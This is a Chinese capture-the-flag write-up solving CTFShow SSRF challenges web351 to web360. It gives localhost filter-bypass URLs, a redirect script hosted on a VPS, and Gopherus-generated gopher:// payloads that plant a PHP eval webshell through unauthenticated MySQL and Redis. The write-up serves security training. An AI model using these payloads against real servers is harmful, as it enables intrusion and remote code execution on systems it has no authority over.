CTFShow-SSRF(writeup)

简介: CTFShow-SSRF(writeup)

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

题目:

web351:

payload:url=127.0.0.1/flag.php

得到flag

web352:

过滤了localhost和127.0.0

1. 
2. url=http://0/flag.php
3. 
4. url=http://0.0.0.0/flag.php
5. 
6. url=http://0x7f.0.0.1/flag.php
7. 
8. url=http://0177.0.0.1/flag.php
9. 
10. url=http://127.1/flag.php
11. 
12. 
13.

web353:

web354:

过滤了127 0 1 *

1. 
2.  url=http://sudo.cc/flag.php
3. 
4.

web355:

限定了协议http或者https

同时主机名长度小于5

1. 
2. url=http://127.1/flag.php
3. 
4. url=http://0/flag.php
5. 
6.

web356:

限定了协议http或者https

同时主机名长度小于3

1. 
2. url=http://0/flag.php
3. 
4.

web357:

1. yum install httpd
2. yum install php php-devel

vps /var/www/html/下创建ssrf.php

ssrf.php内容:

1. <?php
2. 
3. header("Location: http://127.0.0.1/flag.php");
4. 
5. ?>

注意:不但要安装httpd,还要安装php

[root@VM-4-10-centos ~]# yum install php php-devel

否则题目只会回显vps的ip,不会回显flag.

如下所示:

没有解析ssrf.php

web358:

1. 
2. url=http://ctf.@127.0.0.1/flag.php?show
3. 
4.

具体原理:如果不在ctf.后面加@,解析url时会把ctf.也解析成host的内容,如果不在show前面加#?,会把show也解析到path中,得不到想要的结果

web359:

题目提示:打无密码的mysql

点击题目的链接,进入如下界面,点击login

进入到check.php

下载gopherus脚本,注意运行环境python2

https://github.com/tarunkant

命令:

python2 gopherus.py --exploit mysql

1. root
2. 
3. select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/ssrf.php'

将gopher://127.0.0.1:3306/_后面的字符再进行一次url编码,然后执行

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4a%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%63%6d%64%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%73%72%66%2e%70%68%70%27%01%00%00%00%01

查看ssrf.php是否写入成功

body中命令执行查看flag

web360:

题目提示:redis

题目:

利用gopherus脚本生成payload

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

gopher://127.0.0.1:6379/_后面的字符再进行一次url编码,然后url传参,写入shell.php

在shell.php下查看flag的位置

查看flag的内容


相关文章
|
2天前
|
前端开发 应用服务中间件 PHP
[CTF]ctfshow 文件上传
[CTF]ctfshow 文件上传
|
2天前
|
Shell PHP
[CTF]ctfshow命令执行
[CTF]ctfshow命令执行
|
2天前
|
SQL 关系型数据库 MySQL
ctfshow小记sql注入
ctfshow小记sql注入
|
2天前
|
应用服务中间件 PHP nginx
[CTF]ctfshow文件包含
[CTF]ctfshow文件包含
|
7月前
CTFShow--周末大挑战parse_url篇Writeup
CTFShow--周末大挑战parse_url篇Writeup
59 0
|
7月前
|
Web App开发 数据安全/隐私保护 Python
CTFShow-电子取证篇Writeup
CTFShow-电子取证篇Writeup
113 0
|
7月前
BUUCTF-PWN-WP
BUUCTF-PWN-WP
25 2
|
12月前
|
Ubuntu 应用服务中间件 Shell
IChunQiu云境-Spoofing Writeup(一)
Tag: Tomcat,NTLM,WebClient,Coerce Authentication,noPac
|
12月前
|
SQL Web App开发 Oracle
Ichunqiu云境 —— Endless(无间计划) Writeup
两个入口点,一个入口点是pboot-cms,另外一个是SQL注入
|
12月前
|
安全 算法 Linux
Cobalt Strike <=4.7 xss复现和NTLM V2窃取(不会RCE)
Cobalt Strike <=4.7 xss复现和NTLM V2窃取(不会RCE)
120 0